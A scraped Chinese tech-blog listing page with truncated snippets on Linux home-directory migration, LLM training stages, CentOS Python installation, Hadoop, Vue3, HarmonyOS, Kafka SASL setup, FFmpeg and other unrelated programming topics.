1&#xff09;sudo rsync -av /home/lrf /data/home/lrf 将/home目录下的文件进行复制&#xff08;假设机械硬盘挂载在/data目录下&#xff09;** 2&#xff09;usermod -d /data/home/lrf -m lrf 修改用户$HOME变量** 3&#xff09;vi /etc/passwd 查看对应用户的$HOME变量是…...

解析大语言模型训练三阶段

大语言模型的训练过程一般包括3个阶段&#xff1a;预训练&#xff08;Pre-training&#xff09;、SFT&#xff08;有监督的微调&#xff0c;Supervised-Finetuning&#xff09;以及RLHF&#xff08;基于人类反馈的强化学习&#xff0c;Reinforcement Learning from Human Feedb…...

知识图谱的最新进展与未来趋势

知识图谱的最新进展与未来趋势 一、引言 在过去的几年中&#xff0c;知识图谱已经从一个前沿的研究概念发展成为现代信息技术不可或缺的一部分。作为结构化知识的存储和表示形式&#xff0c;知识图谱通过组织信息和数据提供了深刻的洞见&#xff0c;它已被广泛应用于搜索引擎优…...

Facebook直播延迟过高是为什么?

在进行Facebook直播 时&#xff0c;高延迟可能会成为一个显著的问题&#xff0c;影响观众的观看体验和互动效果。以下是一些导致Facebook直播延迟过高的可能原因&#xff1a; 1、网络连接问题 网络连接不稳定或带宽不足可能是导致Facebook直播延迟的主要原因之一。如果您的网络…...

CentOS 7.9 额外安装一个Python3.x版本详细教程

Centos7默认的python版本是2.7&#xff0c;根据需要我们额外安装一个Python3.x版本。 1、安装基础环境 yum update -yyum -y groupinstall "Development tools"yum install openssl-devel bzip2-devel expat-devel gdbm-devel readline-devel sqlite-devel psmisc …...

uml时序图中,消息箭头和消息调用箭头有什么区别

在UML时序图中&#xff0c;消息箭头和消息调用箭头是用来表示不同类型的消息传递关系的符号。 1. 消息箭头&#xff1a;消息箭头用来表示消息在不同对象之间的传递&#xff0c;通常是实例方法之间的调用关系。消息箭头从消息发送者指向消息接收者&#xff0c;表示消息的传递方…...

12.C++常用的算法_遍历算法

文章目录 遍历算法1. for_each()代码工程运行结果 2. transform()代码工程运行结果 3. find()代码工程运行结果 遍历算法 1. for_each() 有两种方式&#xff1a; 1.普通函数 2.仿函数 代码工程 #define _CRT_SECURE_NO_WARNINGS #include<iostream> #include<vect…...

hadoop:案例:将顾客在京东、淘宝、多点三家平台的消费金额汇总,然后先按京东消费额排序,再按淘宝消费额排序

一、原始消费数据buy.txt zhangsan 5676 2765 887 lisi 6754 3234 1232 wangwu 3214 6654 388 lisi 1123 4534 2121 zhangsan 982 3421 5566 zhangsan 1219 36 45二、实现思路&#xff1a;先通过一个MapReduce将顾客的消费金额进行汇总&#xff0c;再通过一个MapReduce来根据金…...

2024年华为OD机试真题-孙悟空吃蟠桃-Python-OD统一考试(C卷)

题目描述: 孙悟空爱吃蟠桃,有一天趁着蟠桃园守卫不在来偷吃。已知蟠桃园有N颗桃树,每颗树上都有桃子,守卫将在H小时后回来。 孙悟空可以决定他吃蟠桃的速度K(个/小时),每个小时选一颗桃树,并从树上吃掉K个,如果树上的桃子少于K个,则全部吃掉,并且这一小时剩余的时间…...

vue3 开发中遇到的问题

1. element-plus的el-popover内置el-select组件&#xff0c;如何避免关闭el-popover 在el-select内置上面添加:teleported"false"就可以避免在点击el-select时候&#xff0c;把el-popver给关闭了 2. validate-on-rule-change&#xff1a;是否在 rules 属性改变后…...

51c自动驾驶~合集58

我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留&#xff0c;CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制&#xff08;CCA-Attention&#xff09;&#xff0c;…...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能&#xff0c;包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

ssc377d修改flash分区大小

1、flash的分区默认分配16M、 / # df -h Filesystem Size Used Available Use% Mounted on /dev/root 1.9M 1.9M 0 100% / /dev/mtdblock4 3.0M...

uni-app学习笔记二十二---使用vite.config.js全局导入常用依赖

在前面的练习中&#xff0c;每个页面需要使用ref&#xff0c;onShow等生命周期钩子函数时都需要像下面这样导入 import {onMounted, ref} from "vue" 如果不想每个页面都导入&#xff0c;需要使用node.js命令npm安装unplugin-auto-import npm install unplugin-au…...

Docker 运行 Kafka 带 SASL 认证教程

Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明&#xff1a;server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序

一、开发准备 ​​环境搭建​​&#xff1a; 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 ​​项目创建​​&#xff1a; File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...

cf2117E

原题链接&#xff1a;https://codeforces.com/contest/2117/problem/E 题目背景&#xff1a; 给定两个数组a,b&#xff0c;可以执行多次以下操作&#xff1a;选择 i (1 < i < n - 1)&#xff0c;并设置 或&#xff0c;也可以在执行上述操作前执行一次删除任意 和 。求…...

2021-03-15 iview一些问题

1.iview 在使用tree组件时&#xff0c;发现没有set类的方法&#xff0c;只有get&#xff0c;那么要改变tree值&#xff0c;只能遍历treeData&#xff0c;递归修改treeData的checked&#xff0c;发现无法更改&#xff0c;原因在于check模式下&#xff0c;子元素的勾选状态跟父节…...

视频字幕质量评估的大规模细粒度基准

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用&#xff0c;因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型&#xff08;VLMs&#xff09;在字幕生成方面…...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容

目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法&#xff0c;当前调用一个医疗行业的AI识别算法后返回…...